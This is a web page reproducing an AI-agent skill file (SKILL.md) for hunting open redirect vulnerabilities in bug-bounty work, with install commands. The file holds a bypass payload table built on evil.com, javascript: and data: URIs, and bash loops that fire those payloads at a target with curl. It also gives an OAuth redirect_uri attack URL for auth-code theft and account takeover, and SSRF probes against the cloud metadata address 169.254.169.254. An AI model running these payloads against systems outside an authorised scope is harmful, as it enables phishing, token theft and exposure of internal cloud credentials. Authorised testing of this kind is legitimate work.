Agent Skillselementalsouls/Claude-BugHunter › hunt-open-redirect

hunt-open-redirect

GitHub

用于自动化检测开放重定向漏洞,覆盖URL参数、JS及Meta标签等多种载体。提供绕过技巧与攻击链分析(如OAuth窃取),辅助安全测试与渗透评估。

skills/hunt-open-redirect/SKILL.md elementalsouls/Claude-BugHunter

Trigger Scenarios

发现包含 redirect, next, url 等参数的链接 需要检测开放重定向或构建 ATO 攻击链 进行前端安全审计

Install

npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -g -y
More Options

Use without installing

npx skills use elementalsouls/Claude-BugHunter@hunt-open-redirect

指定 Agent (Claude Code)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-open-redirect -a claude-code -g -y

安装 repo 全部 skill

npx skills add elementalsouls/Claude-BugHunter --all -g -y

预览 repo 内 skill

npx skills add elementalsouls/Claude-BugHunter --list

SKILL.md

Frontmatter
{
    "name": "hunt-open-redirect",
    "sources": "hackerone_public",
    "description": "Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.",
    "report_count": 28
}

HUNT-OPEN-REDIRECT — Open Redirect

Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

Highest-value chains:

  • Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
  • Open redirect → phishing — users trust the URL because it starts with target.com
  • Open redirect → SSRF escalation — if redirect followed server-side → SSRF
  • Open redirect → session fixation — force user to login endpoint with pre-set session

Attack Surface Signals

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

Technique Payload
Basic https://evil.com
Protocol relative //evil.com
Backslash bypass /\\evil.com
At-sign confusion https://target.com@evil.com
Double slash //evil.com/%2F..
URL encoding %2Fevil.com
Null byte evil.com%00target.com
Whitespace evil.com%09 or %20
JavaScript URI javascript:window.location='https://evil.com'
Data URI data:text/html,<script>window.location='https://evil.com'</script>
Subdomain https://target.com.evil.com
Fragment https://evil.com#.target.com

Step-by-Step Hunting Methodology

Phase 1 — Discover Redirect Parameters

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Phase 2 — Basic Test

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Phase 3 — Bypass Techniques

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Phase 3b — DOM-based open redirect (client-side sink)

Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: DOM-based open redirection.)

Phase 4 — OAuth Chain Test

# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"

Phase 5 — Server-Side Redirect (SSRF escalation)

# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"

# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: $SESSION"

Automation

# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high

# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
  xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}

Chain Table

Open redirect finding Chain to Impact
Any open redirect OAuth redirect_uri bypass Auth code theft → ATO
Any open redirect Phishing URL with target domain Social engineering
Server-side redirect SSRF via followed redirect Internal service access
Logout redirect Session fixation Force login with known session

Validation

✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page

Severity:

  • Redirect alone: Low (most programs)
  • Chains to OAuth code theft → ATO: High/Critical
  • Chains to phishing with brand name: Low-Medium
  • Server-side → SSRF: High

Version History

  • 0efc24c Current 2026-09-02 20:57

Same Skill Collection

skills/bb-methodology/SKILL.md
skills/hunt-aspnet/SKILL.md
skills/hunt-cors/SKILL.md
skills/hunt-deserialization/SKILL.md
skills/hunt-dispatch/SKILL.md
skills/hunt-exceptional-conditions/SKILL.md
skills/hunt-graphql/SKILL.md
skills/hunt-html-injection/SKILL.md
skills/hunt-idor/SKILL.md
skills/hunt-laravel/SKILL.md
skills/hunt-lfi/SKILL.md
skills/hunt-misc/SKILL.md
skills/hunt-nextjs/SKILL.md
skills/hunt-nodejs/SKILL.md
skills/hunt-nosqli/SKILL.md
skills/hunt-ntlm-info/SKILL.md
skills/hunt-oauth/SKILL.md
skills/hunt-rce/SKILL.md
skills/hunt-source-leak/SKILL.md
skills/hunt-springboot/SKILL.md
skills/hunt-websocket/SKILL.md
skills/hunt-xss/SKILL.md
skills/hunt-xxe/SKILL.md
skills/redteam-mindset/SKILL.md
skills/security-arsenal/SKILL.md
skills/triage-validation/SKILL.md
skills/web2-recon/SKILL.md
skills/web3-audit/SKILL.md
skills/apk-redteam-pipeline/SKILL.md
skills/bb-local-toolkit/SKILL.md
skills/bug-bounty/SKILL.md
skills/bugcrowd-reporting/SKILL.md
skills/cloud-iam-deep/SKILL.md
skills/enterprise-vpn-attack/SKILL.md
skills/evidence-hygiene/SKILL.md
skills/hunt-api-misconfig/SKILL.md
skills/hunt-ato/SKILL.md
skills/hunt-auth-bypass/SKILL.md
skills/hunt-brute-force/SKILL.md
skills/hunt-business-logic/SKILL.md
skills/hunt-cache-poison/SKILL.md
skills/hunt-captcha-bypass/SKILL.md
skills/hunt-cicd/SKILL.md
skills/hunt-clickjacking/SKILL.md
skills/hunt-cloud-misconfig/SKILL.md
skills/hunt-csrf/SKILL.md
skills/hunt-dom/SKILL.md
skills/hunt-file-upload/SKILL.md
skills/hunt-fintech-graphql/SKILL.md

Metadata

Files
0
Version
0efc24c
Hash
eda49dc9
Indexed
2026-09-02 20:57

trang chủ - Wiki
Copyright © 2011-2026 iteam. Current version is 2.155.2. UTC+08:00, 2026-09-03 02:12
浙ICP备14020137号-1 $bản đồ khách truy cập$